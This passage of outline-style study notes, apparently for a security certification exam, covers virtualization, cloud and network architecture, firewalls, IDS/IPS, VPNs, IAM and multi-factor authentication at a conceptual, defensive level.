        - *Resource Reuse*
            - Improper clearing of resources may expose sensitive data
    - Containerization Technologies
        - Docker, Kubernetes, Red Hat OpenShift are popular containerization platforms
        - Revolutionized application deployment in cloud environments
    - Securing Virtual Machines
        - Regularly update OS, applications, and apply security patches
        - Install antivirus solutions and software firewalls
        - Use strong passwords and implement security policies
        - Secure the hypervisor with manufacturer-released patches
        - Limit VM connections to physical machines and isolate infected VMs
        - Distribute VMs among multiple servers to prevent resource exhaustion
        - Monitor VMs to prevent "Virtualization Sprawl”
        - Enable encryption of VM files for data safety and confidentiality

- **Serverless**
    - What is Serverless?
        - Serverless computing doesn't mean no servers; it shifts server management away from developers
        - Relies on cloud service providers to handle server management, databases, and some application logic
        - *Functions as a Service (FaaS) Model*
            - Developers write and deploy individual functions triggered by events

- Benefits of Serverless
  - Reduced operational costs
    - Pay only for compute time used, no charges when code is idle
  - Automatic scaling
    - Cloud provider scales resources based on workload, ensuring optimal capacity
  - Focus on core product
    - Developers can concentrate on application functionality, not server management
  - Faster time to market
    - Reduced infrastructure concerns speed up application development
- Challenges and Risks
  - Vendor Lock-in
    - Reliance on proprietary interfaces limits flexibility and may increase costs
  - Immaturity of best practices
    - Serverless is a relatively new field, and best practices are still evolving
- Not a one-size-fits-all solution
  - Consider the specific needs and requirements of your application; serverless introduces challenges like Vendor Lock-in and service provider dependencies

- **Microservices**
  - *Microservices*
    - Architectural style for breaking down large applications into small, independent services
    - Each microservice runs a unique process and communicates through a well-defined, lightweight mechanism

- Contrasts with traditional monolithic architecture, where all components are interconnected
    - Each service in the microservice architecture is self-contained and able to run independently
- Advantages of Microservices
    - Scalability
        - Services can be scaled independently based on demand
    - Flexibility
        - Microservices can use different technologies and be managed by different teams
    - Resilience
        - Isolation reduces the risk of system-wide failures
    - Faster Deployments and Updates
        - Independent deployment and updates allow for agility and reduced deployment risk
- Challenges of Microservices
    - Complexity
        - Managing multiple services involves inter-service communication, data consistency, and distributed system testing
    - Data Management
        - Each microservice can have its own database, leading to data consistency challenges
    - Network Latency
        - Increased inter-service communication can result in network latency and slower response times

- Security
  - The distributed nature of microservices increases the attack surface, requiring robust security measures

- **Network Infrastructure**
  - *Network Infrastructure*
    - Backbone of modern organizations
    - Comprises hardware, software, services, and facilities for network support and management
  - *Physical Separation*
    - Security measures to protect sensitive information
    - Often referred to as "Air Gapping”
    - Isolates a system by physically disconnecting it from all networks
    - Physical separation is one of the most secure methods of security, but it is still vulnerable to sophisticated attacks
  - *Logical Separation*
    - Establishes boundaries within a network to restrict access to certain areas
    - Implemented using firewalls, VLANs, and network devices
  - Comparison
    - Physical Separation (Air-Gapping)
      - High security, complete isolation
    - Logical Separation
      - More flexible, easier to implement
      - Less secure if not configured properly

- **Software-defined Network (SDN)**
  - *Software-Defined Network (SDN)*
    - Revolutionary approach to network management
    - Enables dynamic, programmatically efficient network configuration
    - Improves network performance and monitoring
    - Reduces complexity in static and inflexible network architectures
    - Provides a centralized view of the entire network
  - *SDN Architecture*
    - Decouples network control and forwarding functions
    - Three Distinct Planes
      - *Data Plane (Forwarding Plane)*
        - Responsible for handling data packets
        - Makes decisions based on protocols like IP and Ethernet
        - Concerned with sending and receiving data
      - *Control Plane*
        - Centralized decision-maker in SDN
        - Dictates traffic flow across the entire network
        - Replaces traditional, distributed router control planes
        - Increases network manageability and flexibility
      - *Application Plane*
        - Hosts all network applications that interact with the SDN controller
        - Applications instruct the controller on network management
        - Controller manipulates the network based on these instructions

- **Infrastructure as Code (IaC)**
  - *Infrastructure as Code (IaC)*
    - Modern approach to IT infrastructure management
    - Automates provisioning and management through code
    - Used in DevOps and with cloud computing
  - IaC Method
    - Developers and ops teams manage infrastructure through code
    - Code files are versioned, tested, and audited
    - High-level languages like YAML, JSON, or domain-specific languages (e.g., HCL) used
    - Idempotence ensures identical environments
      - *Idempotence*
        - Operation consistently produces the same results
        - Crucial for consistency and reliability in multiple environments
  - Benefits of IaC
    - Speed and Efficiency
    - Consistency and Standardization
    - Scalability
    - Cost Savings
    - Auditability and Compliance
  - Challenges
    - Learning Curve
      - New skills and mindset required
      - Teams learn to write, test, and maintain infrastructure code
    - Complexity
      - Infrastructure code can become complex

        - Mitigated with modularization and documentation
    - Security Risks
        - Sensitive data exposure in code files
        - Insecure configurations may be introduced

- **Centralized vs Decentralized Architectures**
    - *Centralized Architecture*
        - All computing functions managed from a single location or authority
        - Components
            - Central Server
            - Mainframe
            - Data Center
        - Data and applications stored in one place, accessed via a network
        - Benefits
            - Efficiency and Control
                - High resource control and efficient resource allocation
            - Consistency
                - Ensures uniform and accurate data across the organization
            - Cost-effective
                - Reduced maintenance and infrastructure costs
        - Risks
            - Single Point of Failure
                - Server failure can disrupt the entire network
            - Scalability Issues
                - Struggles to handle growth, leading to performance problems

- Security Risks
    - Attractive targets for cybercriminals; compromised server risks data and app security

- *Decentralized Architecture*
    - Computing functions distributed across multiple systems or locations
    - No single point of control; each node operates independently
    - Benefits
        - Resilience
            - Can continue functioning despite individual node failures
        - Scalability
            - Easily scales with organization growth by adding new nodes
        - Flexibility
            - Supports remote work and distributed teams
    - Risks
        - Security Risks
            - Vulnerable to security threats, especially in remote work scenarios
        - Management Challenges
            - Complex management, coordinating multiple nodes
        - Data Inconsistency
            - Potential issues with data consistency and synchronization
- Considerations for Choosing Architecture
    - Choice depends on the organization's specific needs and context
    - Centralized systems for
        - Data accuracy and resource management priorities
    - Decentralized systems for
        - Resilience, flexibility, and rapid scaling needs

- **Internet of Things (IoT)**
  - *Internet of Things (IoT)*
    - Network of physical devices with sensors, software, and connectivity
    - Enables data exchange among connected objects
  - *Hub/Control System*
    - Central component connecting IoT devices
    - Collects, processes, analyzes data, and sends commands
    - Can be a physical device or software platform
  - *Smart Devices*
    - Everyday objects enhanced with computing and internet capabilities
    - Sense environment, process data, and perform tasks autonomously
  - *Wearables*
    - Subset of smart devices worn on the body
    - Monitor health, provide real-time information, and offer hands-free interface
  - *Sensors*
    - Detect changes in environment, convert into data
    - Measure various parameters (temperature, motion, etc.)
    - Enable interaction and autonomous decisions in smart devices
  - IoT Risks
    - Weak Default Settings
      - Common security risk
      - Default usernames/passwords are easy targets for hackers
      - Changing defaults upon installation is essential
    - Poorly Configured Network Services
      - Devices may have vulnerabilities due to open ports, unencrypted

communications

- Unnecessary services can increase attack surface
- Keeping IoT devices on a separate network is recommended

- **ICS and SCADA**
  - *Industrial Control Systems (ICS)*
    - Systems used to monitor and control industrial processes, found in various industries like electrical, water, oil, gas, and data
    - *Distributed Control Systems (DCS)*
      - Used in control production systems within a single location
    - *Programmable Logic Controllers (PLCs)*
      - Used to control specific processes such as assembly lines and factories
  - *Supervisory Control and Data Acquisition (SCADA) Systems*
    - Type of ICS designed for monitoring and controlling geographically dispersed industrial processes
    - Common in industries like
      - Electric power generation, transmission, and distribution systems
      - Water treatment and distribution systems
      - Oil and gas pipeline monitoring and control systems
  - Risks and Vulnerabilities
    - Unauthorized Access
      - Unauthorized individuals can manipulate system operations without proper protection
    - Malware Attacks
      - Vulnerable to disruptive malware attacks

- Lack of Updates
  - Running outdated software with unpatched vulnerabilities
- Physical Threats
  - Susceptible to damage to hardware or infrastructure

- Securing ICS and SCADA Systems
  - Implement Strong Access Controls
    - Strong passwords
    - Two-factor authentication
    - Limited access to authorized personnel only
  - Regularly Update and Patch Systems
    - Keep systems updated to protect against known vulnerabilities
  - Use Firewall and Intrusion Detection Systems
    - Detect and prevent unauthorized access
  - Conduct Regular Security Audits
    - Identify and address potential vulnerabilities through routine assessments
  - Employee Training
    - Train employees on security awareness and response to potential threats

- **Embedded Systems**
  - *Embedded Systems*
    - Specialized computing components designed for dedicated functions within larger devices
    - They integrate hardware and mechanical elements and are essential for various daily-use devices

- *Real-Time Operating System (RTOS)*
  - Designed for real-time applications that process data without significant delays
  - Critical for time-sensitive applications like flight navigation and medical equipment
- Risks and Vulnerabilities in Embedded Systems
  - Hardware Failure
    - Prone to failure in harsh environments
  - Software Bugs
    - Can cause system malfunctions and safety risks
  - Security Vulnerabilities
    - Vulnerable to cyber-attacks and unauthorized access
  - Outdated Systems
    - Aging software and hardware can be more susceptible to attacks
- Key Security Strategies for Embedded Systems
  - *Network Segmentation*
    - Divide the network into segments to limit potential damage in case of a breach
  - *Wrappers (e.g., IPSec)*
    - Protect data during transfer by hiding data interception points
  - *Firmware Code Control*
    - Manage low-level software to maintain system integrity
  - Challenges in Patching
    - Updates face operational constraints; OTA updates demand meticulous planning and security measures
      - *Over-the-Air (OTA) Updates*
        - Patches are delivered and installed remotely

Security Infrastructure

Objectives:

- 3.2 - Given a scenario, you must be able to apply security principles to secure enterprise architecture
- 4.5 - Given a scenario, you must be able to modify enterprise capabilities to enhance security

- **Ports and Protocols**
    - *Ports*
        - Logical communication endpoints on a computer or server
        - Classified as either
            - *Inbound*
                - Listening for connections
            - *Outbound*
                - Used to connect to a server
        - Example
            - SSH connection with an inbound port 22 and an outbound port on the client
    - Port Classification
        - *Well-Known Ports (0-1023)*
            - Assigned by IANA, commonly-used protocols
        - *Registered Ports (1024-49151)*
            - Vendor-specific, registered with IANA
        - *Dynamic and Private Ports (49152-65535)*
            - Temporary outbound connections

- *Protocols*
  - Rules governing device communication and data exchange
  - Example
    - HTTPS (port 443) uses the HTTPS protocol for secure web communication
- Memorization Tips
  - Memorize for each port
    - Port number
    - Default protocol
    - Support for TCP or UDP
    - Basic description of the port or protocol
- List of Ports and Protocols
  - Port 21: FTP (File Transfer Protocol) - TCP
  - Port 22: SSH, SCP, SFTP - TCP
  - Port 23: Telnet - TCP
  - Port 25: SMTP (Simple Mail Transfer Protocol) - TCP
  - Port 53: DNS (Domain Name System) - TCP/UDP
  - Port 69: TFTP (Trivial File Transfer Protocol) - UDP
  - Port 80: HTTP (Hypertext Transfer Protocol) - TCP
  - Port 88: Kerberos - UDP
  - Port 110: POP3 (Post Office Protocol) - TCP
  - Port 119: NNTP (Network News Transfer Protocol) - TCP
  - Port 135: RPC (Remote Procedure Call) - TCP/UDP
  - Ports 137, 138, 139: NetBIOS - TCP/UDP
  - Port 143: IMAP (Internet Message Access Protocol) - TCP
  - Port 161: SNMP (Simple Network Management Protocol) - UDP
  - Port 162: SNMPTrap - UDP

        - Port 389: LDAP (Lightweight Directory Access Protocol) - TCP
        - Port 443: HTTPS (HTTP Secure) - TCP
        - Port 445: SMB (Server Message Block) - TCP
        - Ports 465, 587: SMTPS (SMTP Secure) - TCP
        - Port 514: Syslog - UDP
        - Port 636: LDAPS (LDAP Secure) - TCP
        - Port 993: IMAPS (IMAP over SSL/TLS) - TCP
        - Port 995: POP3S (POP3 over SSL/TLS) - TCP
        - Port 1433: Microsoft SQL - TCP
        - Ports 1645, 1646: RADIUS (Remote Authentication) - TCP
        - Ports 1812, 1813: RADIUS UDP - UDP
        - Port 3389: RDP (Remote Desktop Protocol) - TCP
        - Port 6514: Syslog TLS - TCP
    - Study Tips
        - Create flashcards with protocol, port, and connection details
        - Regularly test yourself to memorize ports and protocols
        - Understanding these is crucial for success in exams related to cybersecurity

- **Firewalls**
    - *Firewall*
        - A network security device or software that monitors and controls network traffic based on security rules
        - Protects networks from unauthorized access and potential threats
    - Screened Subnet (Dual-homed Host)
        - Acts as a security barrier between external untrusted networks and internal trusted networks using a protected host with security measures like a

packet-filtering firewall

- Types of Firewalls
  - *Packet Filtering Firewalls*
    - Inspect packet headers for IP addresses and port numbers
    - Limited in inspection, operates at Layer 4 (Transport Layer)
  - *Stateful Firewalls*
    - Track connections and requests, allowing return traffic for outbound requests
    - Operates at Layer 4, with improved awareness of connection state
  - *Proxy Firewalls*
    - Make connections on behalf of endpoints, enhancing security
    - Two Types of Proxy Firewalls
      - Circuit level (Layer 5)
      - Application level (Layer 7)
  - *Kernel Proxy Firewalls*
    - Minimal impact on network performance, full inspection of packets at every layer
    - Placed close to the system they protect
- Firewall Evolutions
  - *Next Generation Firewall (NGFW)*
    - *Application-aware*
      - distinguish between different types of traffic
    - Conduct deep packet inspection and use signature-based intrusion protection
    - Operate fast within minimal network performance impact
    - Offer full-stack traffic visibility

- Can integrate with other security products
    - Can be a problem if organizations become reliant on a single vendor due to firewall configurations tailored to one product line

- *Unified Threat Management (UTM) Firewall*
    - Combines multiple security functions in a single device
    - Functions include firewall, intrusion prevention, antivirus, and more
    - Reduces the number of devices
    - Are a single point of failure
    - UTMs use separate individual engine
        - NGFW uses a single engine
- *Web Application Firewall (WAF)*
    - Focuses on inspecting HTTP traffic
    - Prevents common web application attacks like cross-site scripting and SQL injections
    - Can be placed
        - In-line (live attack prevention)
            - Device sits between the network firewall and the web servers
        - Out of band (detection)
            - Device receives a mirrored copy of web server traffic

- Layer based Firewalls
    - *Layer 4 Firewall*
        - Operates at the transport layer
        - Filters traffic based on port numbers and protocol data
    - *Layer 7 Firewall*
        - Operates at the application layer

        - Inspects, filters, and controls traffic based on content and data characteristics

- **Configuring Firewalls**
    - Firewalls and Access Control Lists (ACLs)
        - *Firewalls*
            - Dedicated devices for using Access Control Lists (ACLs) to protect networks
        - *Access Control Lists (ACLs)*
            - Essential for securing networks from unwanted traffic
            - Consist of permit and deny statements, often based on port numbers
            - Rule sets placed on firewalls, routers, and network infrastructure devices
            - Control the flow of traffic into and out of networks
            - May define quality of service levels inside networks but are primarily used for network security in firewalls
    - Configuring ACLs
        - A web-based interface or a text-based command line interface can be used
        - The order of ACL rules specifies the order of actions taken on traffic (top-down)
        - The first matching rule is executed, and no other ACLs are checked
        - Place the most specific rules at the top and generic rules at the bottom
        - Some devices support implied deny functions, while others require a "deny all" rule at the end
        - Actions taken by network devices should be logged, including deny actions

- ACL Rules
  - Made up of some key pieces of information including
    - Type of traffic
    - Source of traffic
    - Destination of traffic
    - Action to be taken against the traffic
- Firewall Types
  - *Hardware-Based Firewall*
    - A dedicated network security device that filters and controls network traffic at the hardware level
    - Commonly used to protect an entire network or subnet by implementing ACLs and rules
  - *Software-Based Firewall*
    - A firewall that runs as a software application on individual devices, such as workstations
    - Utilizes ACLs and rules to manage incoming and outgoing traffic, providing security at the software level on a per-device basis
- Key Takeaway
  - Firewalls use ACLs to control network traffic, ensuring security by specifying permitted and denied actions
  - Proper ACL configuration and rule order are crucial for effective network protection

- **IDS and IPS**
    - Key difference
        - IDS - Logs and alerts
        - IPS - Logs, alerts, and takes action
    - *Intrusion Detection Systems (IDS)*
        - Logs or alerts that it found something suspicious or malicious
        - Three Types of Intrusion Detection Systems (IDS)
            - *Network-based IDS (NIDS)*
                - Monitors the traffic coming in and out of a network
            - *Host-based IDS (HIDS)*
                - Looks at suspicious network traffic going to or from a single or endpoint
            - *Wireless IDS (WIDS)*
                - Detects attempts to cause a denial of a service on a wireless network
        - Intrusion detection systems operate either using signature-based or anomaly-based detection algorithms
            - *Signature-based IDS*
                - Analyzes traffic based on defined signatures and can only recognize attacks based on previously identified attacks in its database
                    - *Pattern-matching*
                        - Specific pattern of steps
                        - NIDS, WIDS
                    - *Stateful-matching*
                        - Known system baseline

- HIDS
- *Anomaly-based IDS*
  - Analyzes traffic and compares it to a normal baseline of traffic to determine whether a threat is occurring
  - Five Types of Anomaly-based Detection Systems
    - Statistical
    - Protocol
    - Traffic
    - Rule or Heuristic
    - Application-based

- *Intrusion Prevention Systems (IPS)*
  - Logs, alerts, and takes action when it finds something suspicious or malicious
  - Scans traffic to look for malicious activity and takes action to stop it

- **Network Appliances**
  - *Network Appliance*
    - A dedicated hardware device with pre-installed software for specific networking services
  - Different Types of Network Appliances
    - *Load Balancers*
      - Distribute network/application traffic across multiple servers
      - Enhance server efficiency and prevent overload
      - Ensure redundancy and reliability
      - Perform continuous health checks
      - Application Delivery Controllers (ADCs) offer advanced functionality
      - Essential for high-demand environments and high-traffic websites

- *Proxy Servers*
  - Act as intermediaries between clients and servers
  - Provide content caching, requests filtering, and login management
  - Enhance request speed and reduce bandwidth usage
  - Add a security layer and enforce network utilization policies
  - Protect against DDoS attacks
  - Facilitate load balancing and user authentication
  - Handle data encryption and ensure compliance with data sovereignty laws
- *Sensors*
  - Monitor, detect, and analyze network traffic and data flow
  - Identify unusual activities, security breaches, and performance issues
  - Provide real-time insights for proactive network management
  - Aid in performance monitoring and alerting
  - Act as the first line of defense against cyber threats
- *Jump Servers/Jump Box*
  - Secure gateways for system administrators to access devices in different security zones
  - Control access and reduce the attack surface area
  - Offer protection against downtime and data breaches
  - Simplify logging and auditing
  - Speed up incident response during cyber-attacks
  - Streamline system management and maintenance
  - Host essential tools and scripts
  - Monitor system health for performance and security

- **Port Security**
  - *Port Security*
    - A network switch feature that restricts device access to specific ports based on MAC addresses
    - Enhances network security by preventing unauthorized devices from connecting
  - *Network Switches*
    - Networking devices that operate at Layer 2 of the OSI model
    - Use MAC addresses for traffic switching decisions through transparent bridging
    - Efficiently prevent collisions, operate in full duplex mode
    - Remember connected devices based on MAC addresses
    - Broadcast traffic only to intended receivers, increasing security
  - *CAM Table (Content Addressable Memory)*
    - Stores MAC addresses associated with switch ports
    - Vulnerable to MAC flooding attacks, which can cause the switch to fail open
  - Port Security Implementation
    - Associate specific MAC addresses with interfaces
    - Prevent unauthorized devices from connecting
    - Can use Sticky MACs for easier setup
    - Susceptible to MAC spoofing attacks
  - *802.1x Authentication*
    - Provides port-based authentication for wired and wireless networks
    - Requires three roles
      - Supplicant
      - Authenticator
      - Authentication server
    - Utilizes RADIUS or TACACS+ for actual authentication

        - Prevents rogue device access
    - RADIUS vs. TACACS+
        - RADIUS is cross-platform, while TACACS+ is Cisco proprietary
        - TACACS+ is slower but offers additional security and independently handles authentication, authorization, and accounting
        - TACACS+ supports all network protocols, whereas RADIUS lacks support for some
    - *EAP (Extensible Authentication Protocol)*
        - A framework for various authentication methods
        - Has different variants which have their own features
            - *EAP-MD5*
                - Uses simple passwords and the challenge handshake authentication process to provide remote access authentication
                - One-way authentication process
                - Doesn't provide mutual authentication
            - *EAP-TLS*
                - Uses public key infrastructure with a digital certificate which is installed on both the client and the server
                - Uses mutual authentication
            - *EAP-TTLS*
                - REquires a digital certificate on the server, but not on the client
                - The client uses a password for authentication
            - *EAP-FAST*
                - Uses protected access credential, instead of a certificate, to establish mutual authentication
            - *PEAP*
                - Supports mutual authentication using server certificates and

Active Directory databases to authenticate a password from the client

- *EAP-LEAP*
  - Cisco proprietary and limited to Cisco devices

- Integration for Network Security
  - Combining port security, 802.1X, and EAP enhances network security
  - Ensures only authenticated and authorized devices can access sensitive resources

- **Securing Network Communications**
  - *Virtual Private Networks (VPNs)*
    - Extend private networks across public networks
    - Allow remote users to securely connect to an organization's network
    - Can be configured as site-to-site, client-to-site, or clientless VPNs
      - *Site-to-Site VPN*
        - Connects two sites cost-effectively
        - Replaces expensive leased lines
        - Utilizes a VPN tunnel over the public internet
        - Encrypts and secures data between sites
        - Slower, but more secure
      - *Client-to-Site VPN*
        - Connects a single host (e.g., laptop) to the central office
        - Ideal for remote user access to the central network
        - Options for full tunnel and split tunnel configurations
      - *Clientless VPN*
        - Uses a web browser to establish secure, remote-access VPN
        - No need for dedicated software or hardware client

        - Utilizes HTTPS and TLS protocols for secure connections to websites
    - In addition to site-to-site and client-to-site VPNs, we have to decide whether we are going to use a full tunnel or split tunnel VPN configuration
        - *Full Tunnel VPN*
            - Encrypts and routes all network requests through the VPN
            - Provides high security, clients fully part of central network
            - Limits access to local resources
            - Suitable for remote access to central resources
        - *Split Tunnel VPN*
            - Divides traffic, routing some through the VPN, some directly to the internet
            - Enhances performance by bypassing VPN for non-central traffic
            - Less secure; potential exposure to attackers
            - Recommended for better performance but requires caution on untrusted networks
- *Transport Layer Security (TLS)*
    - Provides encryption and security for data in transit
    - Used for secure connections in web browsers (HTTPS)
    - Uses Transmission Control Protocol (TCP) for secure connections between a client and a server
        - may slow down the connection
    - *Datagram Transport Layer Security (DTLS)*
        - A faster User Datagram Protocol-based (UDP-based) alternative
        - Ensures end-user security and protects against eavesdropping in clientless VPN connections

- Ensures confidentiality, integrity, and authentication of data

- *Internet Protocol Security (IPSec)*
  - A secure protocol suite for IP communication
  - Provides confidentiality, integrity, authentication, and anti-replay protection
  - Used for both site-to-site and client-to-site VPNs
  - Five key steps in establishing an IPSec VPN
    - Request to start the Internet Key Exchange (IKE)
      - PC1 initiates traffic to PC2, triggering IPSec tunnel creation by RTR1
    - Authentication - IKE Phase 1
      - RTR1 and RTR2 negotiate security associations for the IPSec IKE Phase 1 (ISAKMP) tunnel
    - Negotiation - IKE Phase 2
      - IKE Phase 2 establishes a tunnel within the tunnel
    - Data transfer
      - Data transfer between PC1 and PC2 takes place securely
    - Tunnel termination
      - Tunnel torn down including the deletion of IPSec security associations
  - IPSec Tunneling Modes (Data transfer)
    - *Transport Mode*
      - Uses original IP header
      - Suitable for client-to-site VPNs
      - Avoids potential fragmentation issues from MTU constraints
        - *MTU (Maximum Transmission Unit)*
          - set by default at 1500 bytes and may cause

fragmentation and other VPN problems

- Does not increase packet size

- *Tunneling Mode*
  - Adds a new header to encapsulate the entire packet
  - Ideal for site-to-site VPNs
  - May increase packet size and require jumbo frames
  - Provides confidentiality for both payload and header

- *Authentication Header (AH)*
  - Offers connectionless data integrity and data origin authentication for IP datagrams using cryptographic hashes as identification information

- *Encapsulating Security Payload (ESP)*
  - Provides confidentiality, integrity, and encryption
  - Provides replay protection
  - Encrypts the packet's payload

- Considerations
  - Balance between security and performance when choosing VPN tunnel type
  - Use full tunnel VPNs for higher security but reduced local access
  - Use split tunnel VPNs for better performance but potentially lower security
  - Ensure proper MTU settings when using tunneling mode in site-to-site VPNs
  - AH for integrity and ESP for encryption in IPSec, but both can be used together for comprehensive security

- **SD-WAN and SASE**
  - *SD-WAN (Software-Defined Wide Area Network)*
    - A virtualized approach to managing and optimizing wide area network connections

- Purpose
  - Efficiently routes traffic between remote sites, data centers, and cloud environments
- Benefits
  - Increased agility, security, and efficiency for geographically distributed workforces
- Control
  - Software-based architecture with control extracted from underlying hardware
- Transport Services
  - Allows the use of various transport services
    - MPLS
    - Cellular
    - Microwave links
    - Broadband internet
- Centralized Control
  - Utilizes centralized control function for intelligent traffic routing
- Traditional WAN vs. SD-WAN
  - *Traditional WANs*
    - Cannot efficiently integrate cloud services
  - *SD-WAN*
    - Enables dynamic and efficient routing, improving visibility, performance, and manageability
- Use Cases
  - Ideal for enterprises with multiple branch offices moving towards cloud-based services

        - IaaS
        - PaaS
        - SaaS
- *SASE (Secure Access Service Edge)*
    - A network architecture combining network security and WAN capabilities in a single cloud-based service
    - Purpose
        - Addresses challenges of securing and connecting users and data across distributed locations
    - Key Technology
        - Utilizes software-defined networking (SDN) for security and networking services from the cloud
    - Components
        - Firewalls
        - VPNs
        - Zero-trust network access
        - Cloud Access Security Brokers (CASBs)
    - Policy and Management
        - Delivered through a common set of policy and management platforms
    - Cloud Providers
        - Major cloud providers offer services aligned with SASE
        - Examples:
            - AWS VPC
            - Azure Virtual WAN
            - Azure ExpressRoutes
            - Google Cloud Interconnect

        - Google Cloud VPN
    - Alignment
        - These cloud services offer secure, flexible, and global networking capabilities, aligning with SASE principles
- Importance
    - As cyber threats evolve and organizations become more geographically dispersed, understanding and implementing SD-WAN and SASE are crucial for enhanced security and successful migration to cloud-based environments

- **Infrastructure Considerations**
    - Device Placement
        - Proper placement of routers, switches, and access points is crucial
        - Correct placement ensures
            - Optimal data flow,
            - Minimizes latency
            - Enhances security
        - Routers at the network's edge help filter traffic efficiently
        - Strategic placement of access points ensures coverage and reduces interference
        - Switches should be located for easy connection to network segments
    - Security Zones and Screened Subnets
        - *Security Zones*
            - Isolate devices with similar security requirements
        - *Screened Subnets*
            - Act as buffer zones between internal and external networks
            - Hosts public-facing services, protecting core internal networks
            - Use the term "screened subnet" instead of "DMZ" for modern

configurations

- *Attack Surface*
  - Refers to points where unauthorized access or data extraction can occur
  - A larger attack surface increases the risk of vulnerabilities
  - Identify and mitigate vulnerabilities to reduce the attack surface
  - Regularly assess and minimize the attack surface for network security
- Connectivity Methods
  - Choose connectivity methods that influence network performance, reliability, and security
  - Wired (e.g., Ethernet) offers stability and speed but restricts mobility
  - Wireless (e.g., Wi-Fi) provides flexibility but may suffer from interference and security issues
  - Consider factors like scalability, speed, security, and budget constraints when choosing connectivity methods
- Device Attributes
  - Consider whether devices are active or passive, and if they are inline or tapped
  - Active devices (e.g., intrusion prevention systems)
    - monitor and act on network traffic.
  - Passive devices (e.g., intrusion detection systems)
    - observe and report without altering traffic
  - Inline devices are in the path of network traffic
  - Taps and monitors capture data without disruption
  - Align device choices with network goals and challenges
- Failure Mode
  - Choose between "fail-open" and "fail-closed" modes to handle device failures
  - *Fail-open*

- Allows traffic to pass during a failure, maintaining connectivity but reducing security
- *Fail-closed*
  - Blocks all traffic during a failure, prioritizing security over connectivity
- The choice depends on the organization's security policy and the criticality of the network segment

- **Selecting Infrastructure Controls**
  - *Control*
    - A protective measure put in place to reduce potential risks and safeguard an organization’s assets
  - Key Principles
    - *Least Privilege*
      - Users and systems should have only necessary access rights to reduce the attack surface
    - *Defense in Depth*
      - Utilize multiple layers of security to ensure robust protection even if one control fails
    - *Risk-based Approach*
      - Prioritize controls based on potential risks and vulnerabilities specific to the infrastructure
    - *Lifecycle Management*
      - Regularly review, update, and retire controls to adapt to the evolving threat landscape
    - *Open Design Principle*
      - Ensure transparency and accountability through rigorous testing and

scrutiny of controls

- Methodology
  - Assess Current State
    - Understand existing infrastructure, vulnerabilities, and current controls
  - Gap Analysis
    - Identify discrepancies between current and desired security postures
  - Set Clear Objectives
    - Define specific goals for adding new controls (data protection, uptime, compliance, etc.)
  - Benchmarking
    - Compare your organization's processes and security metrics with industry best practices
  - Cost-Benefit Analysis
    - Evaluate the balance between desired security level and required resources
  - Stakeholder Involvement
    - Engage relevant stakeholders to ensure controls align with business operations
  - Monitoring and Feedback Loops
    - Continuously revisit control selection to adapt to evolving threats
- Best Practices
  - Conduct Risk Assessment
    - Regularly assess threats and vulnerabilities specific to your organization, and update it with significant changes
  - Align with Frameworks
    - Utilize established frameworks (e.g., NIST, ISO) to ensure comprehensive

and tested methodologies

- Customize Frameworks
  - Tailor framework controls to your organization's unique risk profile and business operations
- Stakeholder Engagement and Training
  - Engage all relevant stakeholders in the decision-making process, and conduct regular training to keep the workforce updated on security controls and threats

Identity and Access Management (IAM) Solutions

Objectives:

- 2.4 - Given a scenario, you must be able to analyze indicators of malicious activity
- 4.6 - Given a scenario, you must be able to implement and maintain identity and access management

- **Identity and Access Management (IAM)**
    - *Identity and Access Management (IAM)*
        - Critical component of enterprise security, focusing on managing access to information
        - Ensures the right individuals have access to the right resources at the right times for the right reasons
    - Four Main IAM Processes
        - *Identification*
            - User claims an identity using a unique identifier (e.g., username or email address)
            - Ensures user legitimacy and accuracy of provided information
        - *Authentication*
            - Verifies the identity of a user, device, or system
            - Typically involves validating user credentials against an authorized user database
            - Methods
                - Passwords
                - Biometrics

        - Multi-factor authentication
    - *Authorization*
        - Determines the permissions or access levels for authenticated users
        - Ensures users have access only to appropriate resources
        - Role-based access control often used
    - *Accounting (Auditing)*
        - Tracks and records user activities
            - Logins
            - Actions
            - Changes
        - Helps detect security incidents, identify vulnerabilities, and provide evidence in case of breaches
- Key IAM Concepts
    - Provisioning and Deprovisioning of User Accounts
        - *Provisioning*
            - Creating new user accounts, assigning permissions, and providing system access
        - *Deprovisioning*
            - Removing access rights when no longer needed (e.g., when an employee leaves)
    - *Identity Proofing*
        - Process of verifying a user's identity before creating their account
        - May involve checking personal details or providing identification documents (e.g., driver's license or passport)
    - *Interoperability*
        - Ability of different systems, devices, and applications to work together

and share information

- In IAM, it can involve using standards like SAML or OpenID Connect for secure authentication and authorization

- *Attestation*
  - Process of validating that user accounts and access rights are correct and up-to-date
  - Involves regular reviews and audits of user accounts and their access rights

- **Multi-factor Authentication**
  - *Multi-factor Authentication (MFA)*
    - A security system requiring multiple methods of authentication from independent categories of credentials
    - Enhances security by creating a layered defense against unauthorized access
  - Five Categories of Authentication for MFA
    - *Something You Know (Knowledge-Based Factor)*
      - Authentication based on information the user knows, like a password, PIN, or answers to secret questions
    - *Something You Have (Possession-Based Factor)*
      - Authentication based on physical possession of an item
        - Smart card
        - Hardware token (key fob)
        - Software token on a device
    - *Something You Are (Inherence-Based Factor)*
      - Authentication based on biometric characteristics unique to individuals
        - Fingerprints

        - Facial recognition
        - Voice recognition
    - *Somewhere You Are (Location-Based Factor)*
        - Authentication based on the user's location, determined through IP address, GPS, or network connection
        - Geographical location restrictions can be applied
    - *Something You Do (Behavior-Based Factor)*
        - Authentication based on recognizing unique patterns associated with user behavior
            - Keystroke patterns
            - Device interaction
        - Rarely used as a primary factor but can provide an additional layer of security
- Authentication Types
    - *Single Factor Authentication*
        - Uses one authentication factor to access a user account
    - *Two Factor Authentication (2FA)*
        - Requires two different authentication factors to gain access
    - *Multi-factor Authentication (MFA)*
        - Uses two or more factors to authenticate a user
        - MFA can involve 2, 3, 4, or 5 factors depending on the chosen configuration
            - Generally, using more authentication types makes a system safer, but is less convenient for the end user
    - Knowledge-based factors like passwords and PINs are the most common authentication methods

- Password managers can generate different long, strong, and complex passwords for each website or application

- *Passkeys (Passwordless Authentication)*
  - An alternative to traditional passwords for authentication
  - Involves creating a passkey secured by device authentication methods like fingerprint or facial recognition
  - Provides a more secure and user-friendly authentication method
  - Passkeys utilize public key cryptography

- **Password Security**
  - *Password Security*
    - Measures the effectiveness of a password in resisting guessing and brute-force attacks
    - Estimates the number of attempts needed to guess a password correctly
  - Group Policy Editor for Password Policies
    - Used to create password policies in Windows
    - Available for local machines, and global policy orchestrator can be used in domain environments
  - Five Characteristics of Password Policies
    - Password Length
      - Longer passwords are harder to crack
      - Strong passwords should be at least 12 to 16 characters
      - Longer passwords increase security exponentially
    - Password Complexity
